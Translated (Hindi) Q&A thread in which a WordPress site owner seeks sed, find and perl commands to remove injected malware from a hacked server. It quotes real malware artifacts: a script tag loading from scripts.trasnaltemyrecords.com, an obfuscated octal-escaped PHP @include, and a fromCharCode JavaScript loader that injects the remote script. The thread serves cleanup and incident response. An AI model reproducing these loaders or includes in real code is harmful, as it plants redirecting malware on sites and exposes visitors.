कैसे sed या संभवतः grep का उपयोग करके पूरे स्ट्रिंग को बदलने के लिए


10

इसलिए मेरा पूरा सर्वर हैक हो गया या मैलवेयर की समस्या हो गई। मेरी साइट वर्डप्रेस पर आधारित है और मेरे सर्वर पर होस्ट की गई अधिकांश साइटें वर्डप्रेस आधारित हैं। हैकर ने हर एक फाइल और डेटाबेस में कोड की इस लाइन को जोड़ा

<script type='text/javascript' src='https://scripts.trasnaltemyrecords.com/talk.js?track=r&subid=547'></script>

मैंने इसे grep का उपयोग करके खोजा

grep -r "trasnaltemyrecords" /var/www/html/{*,.*}

मैं इसे पूरी फ़ाइल संरचना में बदलने की कोशिश कर रहा हूँ sedऔर मैंने निम्न कमांड लिखी है।

sed -i 's/\<script type=\'text\/javascript\' src=\'https:\/\/scripts.trasnaltemyrecords.com\/talk.js?track=r&subid=547\'\>\<\/script\>//g' index.php

मैं index.phpपहले एक फ़ाइल पर स्ट्रिंग को बदलने की कोशिश कर रहा हूं , इसलिए मुझे पता है कि यह काम करता है।

और मुझे पता है कि मेरा कोड गलत है। इसमें मेरी मदद करो।

मैंने @ Eran के कोड के साथ कोशिश की और इसने पूरी लाइन को हटा दिया, जो कि अच्छी और उम्मीद के मुताबिक है। हालांकि, कुल शब्दजाल यह है

/*ee8fa*/

@include "\057va\162/w\167w/\167eb\144ev\145lo\160er\141si\141/w\160-i\156cl\165de\163/j\163/c\157de\155ir\162or\057.9\06770\06637\070.i\143o";

/*ee8fa*/

और जब मैं सभी सामग्री को हटाना चाहता हूं, तो मैं php ओपनिंग टैग रखना चाहता हूं <?php

हालांकि @ slybloty का समाधान आसान है और इसने काम किया।

इसलिए सभी प्रभावित फ़ाइलों से कोड को पूरी तरह से हटाने के लिए। मैं निम्नलिखित 3 कमांड चला रहा हूं, इसके लिए आप सभी का धन्यवाद।

  1. find . -type f -name '*.php' -print0 | xargs -0 -t -P7 -n1 sed -i "s/<script type='text\/javascript' src='https:\/\/scripts.trasnaltemyrecords.com\/talk.js?track=r&subid=547'><\/script>//g" - स्क्रिप्ट लाइन को हटाने के लिए
  2. find . -type f -name '*.php' -print0 | xargs -0 -t -P7 -n1 sed -i '/057va/d'- @includeलाइन को हटाने के लिए
  3. find . -type f -name '*.php' -print0 | xargs -0 -t -P7 -n1 sed -i '/ee8fa/d' - टिप्पणी लाइन को हटाने के लिए

इसके अलावा, मैंने सभी 3 कमांडों को फिर से चलाया '*.html', क्योंकि हैकर की स्क्रिप्ट ने सभी निर्देशिकाओं में अवांछित index.html बनाया था। मुझे यकीन नहीं था कि अगर थोक में इन index.html को हटाना सही तरीका है।

अब, मुझे अभी भी जंक फ़ाइलों और इसके निशान का पता लगाने की आवश्यकता है।

हैकर स्क्रिप्ट में जेएस कोड भी जोड़ा गया है।

var pl = String.fromCharCode(104,116,116,112,115,58,47,47,115,99,114,105,112,116,115,46,116,114,97,115,110,97,108,116,101,109,121,114,101,99,111,114,100,115,46,99,111,109,47,116,97,108,107,46,106,115,63,116,114,97,99,107,61,114,38,115,117,98,105,100,61,48,54,48); s.src=pl;
if (document.currentScript) {
document.currentScript.parentNode.insertBefore(s, document.currentScript);
} else {
d.getElementsByTagName('head')[0].appendChild(s);
}

sedयह देखने की कोशिश कर रहा हूं कि क्या मैं ऐसा कर सकता हूं ।


आपको कैसे पता चलेगा कि आपका कोड गलत है?
बीटा

क्योंकि, मैंने इसे चलाया और यह अगली पंक्ति में अधिक इनपुट मांगता रहता है जैसे `>`
दिलीप गुप्ता

2
क्या आप सिर्फ लाइन नहीं हटा सकते? sed -i '/ trasnaltemyrecords / d'
एरन बेन-

1
इसके अलावा, आप अपने ग्रेप वहाँ में फ़ीड करने के लिए सभी फ़ाइलों में इस तरह उन में इस लाइन के साथ जोड़ सकते हैं: विकल्प केवल फ़ाइल नाम और नहीं मिलान पाठ प्रदान करता है। while read -r filename; do sed -i '/trasnaltemyrecords/d' "$filename"; done <<< "$(grep -lr trasnaltemyrecords /var/www/html/{*,.*})"-l
जेसन

1
एक और बात ... अगर आप यह तरीका अपनाते हैं, तो मैं "बैक अप" वैकल्पिक पैरामीटर का लाभ उठाऊंगा sed -i। उदाहरण के लिए, संपादित की जाने वाली सभी फ़ाइलों के लिए sed -i.bakएक *.bakफ़ाइल बनाएंगे । जब while...grepलूप के साथ उपयोग किया जाता है , तो आप केवल उन फ़ाइलों का बैकअप लेंगे जो उस स्ट्रिंग को समाहित करते हैं। सभी अतिरिक्त टिप्पणियों के लिए क्षमा करें, लेकिन मेरी राय में, मैलवेयर "डेक पर सभी हाथ" परिदृश्य है।
जेसन

जवाबों:


2

"स्ट्रिंग के लिए दोहरे उद्धरण चिह्नों ( ) का उपयोग करें और एकल उद्धरण ( ') और न ही टैग ( <>) से बचें । केवल स्लैश से बच जाएं ( /)।

sed -i "s/<script type='text\/javascript' src='https:\/\/scripts.trasnaltemyrecords.com\/talk.js?track=r&subid=547'><\/script>//g" index.php

2

जो भी विधि आप सीड के साथ उपयोग करने का निर्णय लेते हैं, आप कई फाइलों पर समवर्ती फ़िल्टरिंग विकल्पों के साथ findऔर साथ कई प्रक्रियाएँ चला सकते हैं xargs। उदाहरण के लिए:

find . -type f -name '*.php' -print0 | xargs -0 -P7 -n1 sed -i '...'

यह:

  • find - खोजो
  • -type f - केवल फाइलें
  • -name '*.txt' - कि php के साथ अंत
  • -print0 - उन्हें शून्य बाइट द्वारा अलग किया गया
  • | xargs -0 - शून्य बाइट द्वारा अलग की गई प्रत्येक फ़ाइल के लिए
  • -P7 - 7 प्रक्रियाओं को संक्षिप्त रूप से चलाएं
  • -n1 - हर एक फ़ाइल के लिए
  • sed - प्रत्येक फ़ाइल चलाने के लिए sed
  • -i - जगह में फ़ाइल को संपादित करें
  • '...' - वह सीड स्क्रिप्ट जिसे आप अन्य उत्तरों से चलाना चाहते हैं।

आप प्रगति देखने के लिए -tविकल्प जोड़ना चाह सकते हैं xargs। देखें आदमी खोजें (आदमी args] ( http://man7.org/linux/man-pages/man1/xargs.1.html )।


2

बच पात्रों के बिना एकल उद्धरण सचमुच लिया जाता है। में var='hello\'', आपके पास एक अन-बंद बोली है।

इस समस्या को ठीक करने के लिए, 1) sedकमांड को घेरने के लिए दोहरे उद्धरण चिह्नों का उपयोग करें या 2) एकल उद्धृत स्ट्रिंग को समाप्त करें, जोड़ें \', और उद्धरण स्ट्रिंग को फिर से खोलें।

दूसरी विधि अधिक भ्रामक है, हालांकि।

इसके अतिरिक्त, sedकमांड को अलग करने के लिए किसी भी सीमांकक का उपयोग कर सकते हैं। चूंकि आपके पास कमांड में स्लैश हैं, इसलिए कॉमा का उपयोग करना आसान है। उदाहरण के लिए, पहली विधि का उपयोग:

sed -i "s,\\<script type='text/javascript' src='https://scripts.trasnaltemyrecords.com/talk.js?track=r&subid=547'\\>\\</script\\>,,g" index.php

दूसरी विधि का उपयोग करना:

sed -i 's,\<script type='\''text/javascript'\'' src='\''https://scripts.trasnaltemyrecords.com/talk.js?track=r&subid=547'\''\>\</script\>,,g' index.php

यह उदाहरण व्यावहारिक से अधिक शैक्षिक है। यहाँ है कैसे '\''काम करता है:

पहला ': अंतिम वर्तमान उद्धृत शाब्दिक स्ट्रिंग

\': शाब्दिक चरित्र के रूप में एकल उद्धरण दर्ज करें

दूसरा ': उद्धृत शाब्दिक स्ट्रिंग फिर से दर्ज करें

जब तक वहाँ कोई जगह नहीं है, तब तक आप बस अपनी sedआज्ञा जारी रखेंगे । यह विचार अद्वितीय है bash

मैं भाग गया <और >वहाँ छोड़ रहा हूँ क्योंकि मुझे पूरी तरह से यकीन नहीं है कि आप इसके लिए क्या उपयोग कर रहे हैं। sedका उपयोग करता है \<और \>शब्द मिलान का मतलब है। मुझे यकीन नहीं है कि यह जानबूझकर है या नहीं।

इस कुछ भी मेल नहीं है, तो आप शायद भागने से बचना चाहते हैं <और >

संपादित करें: कृपया वास्तविक समस्या के अधिक व्यावहारिक समाधान के लिए टिप्पणियों में @ EranBen-Natan का समाधान देखें। मेरा जवाब एक संसाधन से अधिक है क्योंकि ओपी को अपने मूल आदेश के साथ अधिक इनपुट के लिए क्यों प्रेरित किया जा रहा था।

2 संपादित करने के लिए समाधान

इस काम के लिए, मैं यह धारणा बना रहा हूं कि आपके sedपास गैर-मानक विकल्प है -z। GNU संस्करण का sedयह होना चाहिए। मैं यह भी धारणा बना रहा हूं कि यह कोड हमेशा 6 लाइनों के लंबे प्रारूप में दिखाई देता है

while read -r filename; do
    # .bak optional here if you want to back any files that are edited
    sed -zi.bak 's/var pl = String\.fromCharCode(104,116,116,112,115[^\n]*\n[^\n]*\n[^\n]*\n[^\n]*\n[^\n]*\n[^\n]*\n//g'
done <<< "$(grep -lr 'var pl = String\.fromCharCode(104,116,116,112,115' .)"

यह कैसे काम करता है: हम सब कुछ मैच करने के लिए fromCharCode लाइन की शुरुआत का उपयोग कर रहे हैं। -zनई लाइनों के बजाय नल पर फ़ाइल को विभाजित करता है। इससे हम सीधे लाइन फीड की खोज कर सकते हैं।

[^\n]*\n- यह एक पंक्ति फ़ीड तक सब कुछ मेल खाता है, और फिर लालची रेगेक्स मिलान से परहेज करते हुए, लाइन फ़ीड से मेल खाता है। क्योंकि हम लाइन फीड ( -z) पर विभाजित नहीं कर रहे हैं , रेगेक्स var pl = String\.fromCharCode(104,116,116,112,115' .).*\n}\nसबसे बड़े संभावित मैच से मेल खाता है। उदाहरण के लिए, यदि \n}\nफ़ाइल में कहीं और नीचे दिखाई देता है , तो आप वहाँ और दुर्भावनापूर्ण कोड के बीच के सभी कोड को हटा देंगे। इस प्रकार, 6 बार इस क्रम को दोहराते हुए हमें पहली पंक्ति के अंत के साथ-साथ अगली 5 पंक्तियों से मेल खाता है।

grep -lr- बस एक पुनरावर्ती grepजहां हम केवल उन फाइलों को सूचीबद्ध करते हैं जिनमें मिलान पैटर्न है। इस तरह, sedहर फ़ाइल को संपादित नहीं किया जा रहा है। इसके बिना, -i.bak(सादे नहीं -i) गड़बड़ करेगा।


धन्यवाद @ जैसन, मैं इसके लिए आपकी विधि का प्रयास करूँगा। अभी, मेरे पास बैकअप के लिए विकल्प नहीं है। इसलिए मैं इसे साफ करने से बच रहा हूं।
दिलीप गुप्ता

@ दिलीपगुप्ता मैं सुझाव दूंगा कि आप अभी कहां हैं। आप rsyncबैकअप और पुनर्स्थापना जैसी किसी चीज़ का उपयोग कर सकते हैं ।
जेसन

क्या आप admin.php का उपयोग करते हैं? इसका
संक्रामक

1

क्या आपके पास wp-mail-smtp प्लगइन स्थापित है? हमारे पास एक ही मैलवेयर है और हमारे पास कुछ अजीब चीजें थीं wp-content/plugins/wp-mail-smtp/src/Debug.php

इसके अलावा, जावास्क्रिप्ट लिंक वर्डप्रेस डेटाबेस में हर post_contentक्षेत्र में wp_postsहै।


हां, मेरे पास वह प्लगइन स्थापित है और यह वहां है जैसा आपने कहा था। मैं पहले साफ करने की कोशिश कर रहा हूं और फिर सुरक्षा कड़ी कर रहा हूं। यह भी ध्यान दें, हैकर ने प्लगइन नाम से इंस्टॉल किया है super-socialat, उसके लिए भी जांच करें।
दिलीप गुप्ता

आपको वास्तव में उस Debug.php में क्या मिला, मुझे वहाँ कुछ भी अजीब नहीं मिला, लेकिन शायद इसकी एक अन्य फ़ाइल में संग्रहीत है, यदि आप कोड का कुछ हिस्सा प्रदान करते हैं तो मैं शायद फाइलों को खोज सकता हूं? नया प्लगइन स्थापित नहीं मिला।
बजे जीरो मैचोनसन

1
आपने किस संपादक का उपयोग किया है? अगर मैं इसे खोलता हूं, तो मैं उस अजीब बात को देख सकता हूं, लेकिन नैनो में या गीन जैसे कुछ संपादक में नहीं .... imgur.com/a/wC9XAIy pastebin.com/Y39KEfDL
skuroedivano

नमस्ते, मैं उस पर wincp के माध्यम से देख रहा था, लेकिन अब भी vi की कोशिश की, अभी भी एक बात नहीं मिली। Tnx बहुत उदाहरण के लिए Ill tri फ़ाइलों में इसे खोजने के लिए।
जीरो माचिसन

इसे कुछ हल्के नज़र से देखें तो यह एक sql स्टेटमेंट लगता है जिसे $ GLOBALS वेरिएबल में लेटर पोजीशन का उपयोग करके या कुछ इस तरह लिखा जाता है, इसलिए यह केवल "trasnaltemyrecords" की तलाश में पाया जा सकता है, जिसे मैंने "grp -r" के लिए देखने की कोशिश की थी। NULL ), @ $ "/ var / www / html / { ,। } या अन्य चीजें लेकिन कुछ नहीं मिला। वैसे भी मेरे पास एक पुराना एडमिनिस्ट्रेटर था। वर्डप्रेस पेज पर ऐसा है कि उस लीक का भी स्रोत हो सकता है, शायद ..
जीरो माचिसन

0

मुझे आज एक ही बात मिली, सभी पृष्ठ पोस्टों में यह गंदा वायरस स्क्रिप्ट जोड़ा गया

<script src='https://scripts.trasnaltemyrecords.com/pixel.js' type='text/javascript'></script>

मैंने इसे डेटाबेस से अक्षम कर दिया है

UPDATE wp_posts SET post_content = REPLACE(post_content, "src='https://scripts.trasnaltemyrecords.com", "data-src='https://scripts.trasnaltemyrecords.com")

मेरे पास कम से कम संक्रमित फाइलें नहीं हैं

grep -r "trasnaltemyrecords" /var/www/html/{*,.*}

एक चीज़ नहीं मिली, लेकिन मुझे नहीं पता कि यह कैसे डेटाबेस में मिला, जिससे मैं बिल्कुल भी शांत नहीं हूं।

इस संक्रमण के कारण पृष्ठों पर रीडायरेक्ट हुआ, क्रोम ज्यादातर इसका पता लगाता है और इसे अवरुद्ध करता है। - /wp-mail-smtp/src/Debug.php में कुछ भी अजीब नहीं लगा


मुझे लगता है कि यह प्लगइन के कुछ टूटने से संबंधित है और हैकर को साइट के लिए पिछले दरवाजे का उपयोग मिला है।
दिलीप गुप्ता

लेकिन कौन सा प्लगइन, 2 घर पास और सब कुछ फिर से पुनर्निर्देशित हो रहा है
जिरो मैचोनसन

0

मुझे आज एक ही चीज़ मिली है, सभी पेज पोस्ट को स्क्रिप्ट जोड़ा गया है। मैंने https://en.wordpress.org/plugins/search-and-replace/ प्लगइन का उपयोग करके उन्हें सफलतापूर्वक संभाला है ।

इसके अलावा, मुझे wp_posts तालिका post_content कॉलम फॉलिंग स्ट्रिंग में एक रिकॉर्ड भी मिला है:

<a href="https://scripts.trasnaltemyrecords.com/pixel.js?track=r&#038;subid=043">https://scripts.trasnaltemyrecords.com/pixel.js?track=r&#038;subid=043</a>

और इसे मैन्युअल रूप से हटा दिया गया है।


0

मेरे लिए यह काम किया:

    find ./ -type f -name '*.js' |  xargs perl -i -0pe "s/var gdjfgjfgj235f = 1; var d=document;var s=d\.createElement\('script'\); s\.type='text\/javascript'; s\.async=true;\nvar pl = String\.fromCharCode\(104,116,116,112,115,58,47,47,115,99,114,105,112,116,115,46,116,114,97,115,110,97,108,116,101,109,121,114,101,99,111,114,100,115,46,99,111,109,47,116,97,108,107,46,106,115,63,116,114,97,99,107,61,114,38,115,117,98,105,100,61,48,54,48\); s\.src=pl; \nif \(document\.currentScript\) { \ndocument\.currentScript\.parentNode\.insertBefore\(s, document\.currentScript\);\n} else {\nd\.getElementsByTagName\('head'\)\[0\]\.appendChild\(s\);\n}//"

आपको इसके लिए खोजना होगा: * .js, * .json, * .map

हमारी साइट का प्रयोग करके, आप स्वीकार करते हैं कि आपने हमारी Cookie Policy और निजता नीति को पढ़ और समझा लिया है।
Licensed under cc by-sa 3.0 with attribution required.